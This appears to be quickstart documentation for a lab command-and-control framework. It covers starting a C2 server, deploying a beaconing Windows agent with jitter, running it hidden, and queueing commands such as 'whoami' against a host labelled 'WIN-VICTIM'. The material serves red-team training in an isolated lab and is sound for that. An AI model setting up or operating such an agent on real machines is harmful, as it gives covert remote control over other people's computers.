Skip to main content
This guide walks through starting the C2 server and establishing your first agent connection in minutes.
Before starting, ensure you’ve completed:

Choose Deployment Method

The C2 Framework supports two deployment modes:
MethodUse CaseComplexityFeatures
Bare-MetalDevelopment, debugging, testingSimpleDirect FastAPI/uvicorn, exposed ports
Docker ComposeProduction-like, reverse proxy testingModerateNginx frontend, user-agent filtering, isolated network

Option 1: Bare-Metal Deployment

Step 1: Configure for Bare-Metal

Edit common/config.py:
# Network
SERVER_HOST  = 'c2.lab.internal'
SERVER_PORT  = 8443  # Direct uvicorn port
BACKEND_PORT = 8443
BEHIND_NGINX = False  # Important: Set to False

Step 2: Start the Server

1

Activate Virtual Environment

cd ~/c2-framework
source venv/bin/activate
2

Set Lab Mode Environment Variable

export LAB_MODE=1
The server will not start without LAB_MODE=1. This safety mechanism prevents accidental deployment outside isolated labs.
3

Launch the Server

python -m server.server_main
Expected output:
INFO:     Started server process [12345]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     Uvicorn running on https://0.0.0.0:8443 (Press CTRL+C to quit)
4

Verify Server is Running

From another terminal:
# Check listening port
ss -tlnp | grep 8443

# Test TLS handshake
curl -k https://c2.lab.internal:8443/beacon
You should see a connection, even if it returns an error (agent authentication required).

Step 3: Configure and Run the Agent

1

Copy Certificate to Windows VM

On Ubuntu VM:
# Start Python HTTP server to transfer cert
cd ~/c2-framework/certs
python3 -m http.server 8000
On Windows VM (PowerShell):
# Download certificate
Invoke-WebRequest -Uri http://192.168.100.10:8000/server.crt -OutFile C:\Users\$env:USERNAME\certs\server.crt

# Verify download
Get-Content C:\Users\$env:USERNAME\certs\server.crt
Stop the HTTP server on Ubuntu (Ctrl+C).
2

Update Agent Configuration

On the Windows VM, edit common/config.py:
# Network
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 8443  # Match server port

# TLS
TLS_CERT_PATH = r'C:\Users\<username>\certs\server.crt'

# Use the same PRE_SHARED_KEY as the server
PRE_SHARED_KEY = b'\x8a\x3f...'  # Copy from server config
3

Launch the Agent

On Windows VM (PowerShell as Administrator):
cd C:\Users\<username>\c2-framework

# Set lab mode
$env:LAB_MODE = "1"

# Run agent
python -m agent.agent_main
Expected output:
INFO: Environment checks passed
INFO: Beacon interval: 30s (±20% jitter)
INFO: Checking in with c2.lab.internal:8443
INFO: Checkin successful, session_id: abc123...
INFO: Beacon loop started

Step 4: Interact with the Agent

1

List Active Sessions

On the Ubuntu VM, open a new terminal:
cd ~/c2-framework
source venv/bin/activate
python -m server.cli sessions
Example output:
SESSION_ID          | HOSTNAME    | USERNAME | LAST_SEEN
abc123def456789... | WIN-VICTIM  | user     | 2026-03-11 14:32:10
2

Queue a Command

python -m server.cli task add <session_id> "whoami"
The agent will pull the task on its next beacon (within ~30 seconds).
3

Retrieve Command Results

python -m server.cli task results <session_id>
Example output:
TASK_ID | COMMAND | STATUS    | STDOUT
1       | whoami  | completed | WIN-VICTIM\user

Option 2: Docker Compose Deployment

Step 1: Configure for Docker

Edit common/config.py:
# Network
SERVER_HOST  = 'c2.lab.internal'
SERVER_PORT  = 443  # Nginx frontend port
BACKEND_PORT = 8443
BEHIND_NGINX is automatically set via Docker Compose environment variables. No manual config change needed.

Step 2: Start the Stack

1

Build and Launch Containers

cd ~/c2-framework
docker-compose up --build -d
This builds and starts:
  • c2-server (FastAPI on internal port 8443)
  • c2-nginx (Nginx on host ports 80, 443)
2

Verify Containers are Running

docker-compose ps
Expected output:
NAME        IMAGE            STATUS    PORTS
c2-server   c2-server:latest Up        (internal 8443)
c2-nginx    c2-nginx:latest  Up        0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp
3

Check Server Logs

docker-compose logs -f c2-server
Look for:
INFO: server started port=443
INFO: Application startup complete

Step 3: Run the Agent

Agent configuration is identical to bare-metal, but use port 443:
# common/config.py on Windows VM
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 443  # Nginx frontend
Launch the agent:
$env:LAB_MODE = "1"
python -m agent.agent_main

Step 4: Interact via Docker

1

Access CLI Inside Container

docker-compose exec c2-server python -m server.cli sessions
2

Queue Commands

docker-compose exec c2-server python -m server.cli task add <session_id> "ipconfig /all"
3

View Logs and Database

Logs and database persist on the host:
ls -l logs/
# c2_server.db - SQLite database
# server.log   - Application logs

Docker Architecture

The Docker deployment uses an internal network:
Windows VM (192.168.100.20)
        |
        | HTTPS :443 (c2.lab.internal)
        v
┌───────────────────────────────────────┐
│ Ubuntu VM (192.168.100.10)            │
│                                       │
│  ┌─────────────────────────────────┐ │
│  │ c2-nginx container              │ │
│  │ - TLS termination               │ │
│  │ - User-Agent filtering          │ │
│  │ - Port 80 → 443 redirect        │ │
│  └──────────┬──────────────────────┘ │
│             │                         │
│             | HTTP :8443              │
│             | (c2-internal network)   │
│             v                         │
│  ┌─────────────────────────────────┐ │
│  │ c2-server container             │ │
│  │ - FastAPI application           │ │
│  │ - Session management            │ │
│  │ - Command queue                 │ │
│  └──────────┬──────────────────────┘ │
│             │                         │
│             v                         │
│  logs/c2_server.db (bind mount)     │
│                                       │
└───────────────────────────────────────┘
Key Points:
  • Port 8443 is not exposed to the host - only reachable by Nginx
  • Nginx performs TLS termination and forwards plain HTTP to the backend
  • Agent connects to port 443 (Nginx), not 8443
  • Database and logs persist outside containers via bind mounts

Common Commands

Server Management

# Start server
export LAB_MODE=1
python -m server.server_main

# Stop server
# Press Ctrl+C

# View logs
tail -f logs/server.log

# Check database
sqlite3 logs/c2_server.db "SELECT * FROM sessions;"

Agent Management

# Start agent
$env:LAB_MODE = "1"
python -m agent.agent_main

# Stop agent
# Press Ctrl+C

# Run in background (optional)
Start-Process python -ArgumentList "-m", "agent.agent_main" -WindowStyle Hidden

CLI Operations

# List all sessions
python -m server.cli sessions

# Show session details
python -m server.cli session <session_id>

# Queue task
python -m server.cli task add <session_id> "<command>"

# View task results
python -m server.cli task results <session_id>

# Clear old sessions
python -m server.cli sessions prune --older-than 7d

Verification Checklist

After completing the quickstart, verify:
  • Server starts without errors (check logs for INFO: Application startup complete)
  • Agent successfully checks in (look for session_id in agent output)
  • Agent appears in sessions command output
  • Queued task executes within beacon interval
  • Task results are retrievable via CLI
  • TLS certificate is pinned correctly (no SSL errors in agent logs)
  • Database file created: logs/c2_server.db

Next Steps

Now that you have a working C2 setup:
  1. Architecture - Understand the system design
  2. Protocol - Learn the beacon protocol
  3. Server API - Explore server internals
  4. Agent API - Explore agent internals
  5. Operational Guide - Advanced session management

Troubleshooting

Server Won’t Start

Error: LAB_MODE environment variable not set
# Solution: Export LAB_MODE
export LAB_MODE=1
python -m server.server_main
Error: Address already in use
# Check what's using the port
sudo ss -tlnp | grep 8443

# Kill the process or use a different port

Agent Can’t Connect

Error: SSL: CERTIFICATE_VERIFY_FAILED
  • Verify TLS_CERT_PATH points to the correct certificate location
  • Ensure certificate CN matches SERVER_HOST
  • Check certificate is not expired: openssl x509 -in server.crt -noout -dates
Error: Connection refused
  • Verify server is running: ss -tlnp | grep 8443 (bare-metal) or docker-compose ps
  • Test connectivity: ping c2.lab.internal
  • Check Windows firewall isn’t blocking outbound connections
Error: Pre-shared key mismatch
  • Ensure PRE_SHARED_KEY is identical in server and agent config.py
  • Key must be exactly 32 bytes

Docker Issues

Error: Cannot connect to Docker daemon
# Add user to docker group
sudo usermod -aG docker $USER
# Log out and log back in
Error: Port 443 already in use
# Check what's using port 443
sudo ss -tlnp | grep 443

# Stop conflicting service (e.g., Apache)
sudo systemctl stop apache2

No Beacon Activity

  • Check beacon interval: Default is 30 seconds (±20% jitter)
  • Verify agent is still running (check Task Manager)
  • Check agent logs for errors
  • Ensure system clock is synchronized between VMs

Build docs developers (and LLMs) love